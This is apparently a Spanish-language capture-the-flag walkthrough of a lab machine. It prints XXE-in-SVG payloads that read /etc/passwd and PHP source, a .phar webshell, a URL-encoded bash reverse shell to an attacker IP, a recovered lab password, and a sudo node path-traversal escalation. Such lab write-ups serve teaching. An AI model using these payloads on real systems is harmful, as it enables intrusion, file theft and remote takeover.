Hacemos el escaneo de nmap:
Y esta es la web:
Pero mirando el código fuente vemos como existe un jerry.nyx:
Añadimos este host al /etc/hosts:
Pero en la web en la parte de request a job vemos un panel de contacto donde podemos subir archivos:
Y si analizamos este panel de subida de archivos, vemos que admite extensiones como png, jpg:
Y en la parte del principio vemos como se utiliza un script llamado script.js:
Vamos a acceder a él:
Una vez en este punto, al ver que se procesan imágenes, se puede probar en subir un archivo svg, el cual es posible que lo interprete y además tenemos en cuenta que svg funciona con XML:
Y en este artículo vemos que podemos incrustar un XXE dentro de un SVG: https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/file-upload
Probamos en ver si esto acepta archivos .svg, primero descargando alguna imagen:
Una vez descargada esta imagen, quitamos las validaciones del código fuente para poder subirlo:
Y vemos que se subió correctamente:
Y ahora interceptamos esta petición con burp suite:
Pero llegados a este punto, es probable que el servidor interprete SVG, y al tratarse de este tipo de extensión, puede interpretar XML, por lo que intentamos explotar un XXE y vemos que sí funciona:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg>
Ahora en este punto, podemos intentar leer el contenido del archivo upload.php que anteriormente no teníamos permiso para leer, ya que si lo ponemos en el navegador vemos que se queda en blanco:
Para leer este archivo, podemos utilizar un wrapper en la explotación del XXE:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg>
De tal forma que nos devuelve esa cadena en base64, la cual vamos a decodificar:
Si analizamos este código, nos encontramos con el directorio de /job_request_files/ y además que se le cambia el nombre a los archivos que subamos:
Aunque vemos que en este directorio no se muestra nada:
Entonces una vez sabido esto y cómo este script procesa la información, vamos a subir un archivo malicioso en php y vamos a llamarlo desde la anterior ruta con el nuevo nombre que se le proporciona:
Pero vemos que no nos permite la extensión:
Ahora debemos de saber qué extensión compatible con php admite el servidor, por tanto para ello vamos a buscar una wordlist: https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/File-Extensions-Wordlist.txt
Y ahora con estas wordlists vamos a filtrar únicamente por aquellas que empiecen en .ph:
De esta forma podemos pasar esta nueva wordlist al burp suite:
grep '^\.ph' extensions.txt > php_extensiones.php
Preparamos el intruder de burp suite:
Cargamos la nueva wordlist:
Desactivamos esta opción:
Y vemos que nos admite un .phar:
Vemos que esto sí lo interpreta correctamente:
Una vez visto esto y subido esta webshell, vamos a ver qué nombre se le habrá asignado analizando el archivo en .php:
Se le habrá asignado antes del nombre pwned.php el año, mes y día, seguido de una barra baja y luego el nombre que le hayamos puesto:
http://192.168.0.16/request/job_request_files/24-03-14_pwned.phar?cmd=whoami
Lo ponemos en el navegador y vemos que funciona:
Una vez obtenida la ejecución remota de comandos, obtenemos una reverse shell:
http://192.168.0.16/request/job_request_files/24-03-14_pwned.phar?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%30%2e%32%30%2f%34%34%33%20%30%3e%26%31%22
Una vez dentro, vemos estos usuarios:
Pero veíamos que con nmap estaba abierto el puerto 25, que sirve para gestionar correos electrónicos mediante el protocolo snmp. Por tanto, consultamos el directorio /var/mail, ya que suele haber cosas interesantes por aquí si dicho protocolo está en funcionamiento:
Y dentro de /opt nos encontramos con esto:
Y dentro de scripts vemos que se hace una copia de seguridad dentro del directorio /backups_mail:
Y efectivamente vemos copias de seguridad en formato .zip:
Nos lo pasamos a nuestra máquina atacante:
Descomprimimos alguno de estos zips y si vemos por ejemplo el contenido del archivo elaine vemos su contraseña:
elaine:imelainenotsusie
Y tenemos acceso por SSH:
Y ejecutando el comando sudo -l vemos que este usuario puede ejecutar como root lo siguiente:
Pero en ese directorio no tenemos ningún tipo de permiso. No obstante, podemos hacer un path traversal y navegar por los directorios hasta llamar a un archivo javascript malicioso para que ejecute el código que queramos. Por lo que creamos una reverse shell en node por ejemplo en /tmp:
Lo pegamos dentro del archivo reverse.js y mediante un path traversal vamos a ejecutarlo con node:
sudo /usr/bin/node /opt/scripts/*.js/../../../../../../../../tmp/reverse.js
Y recibimos la reverse shell: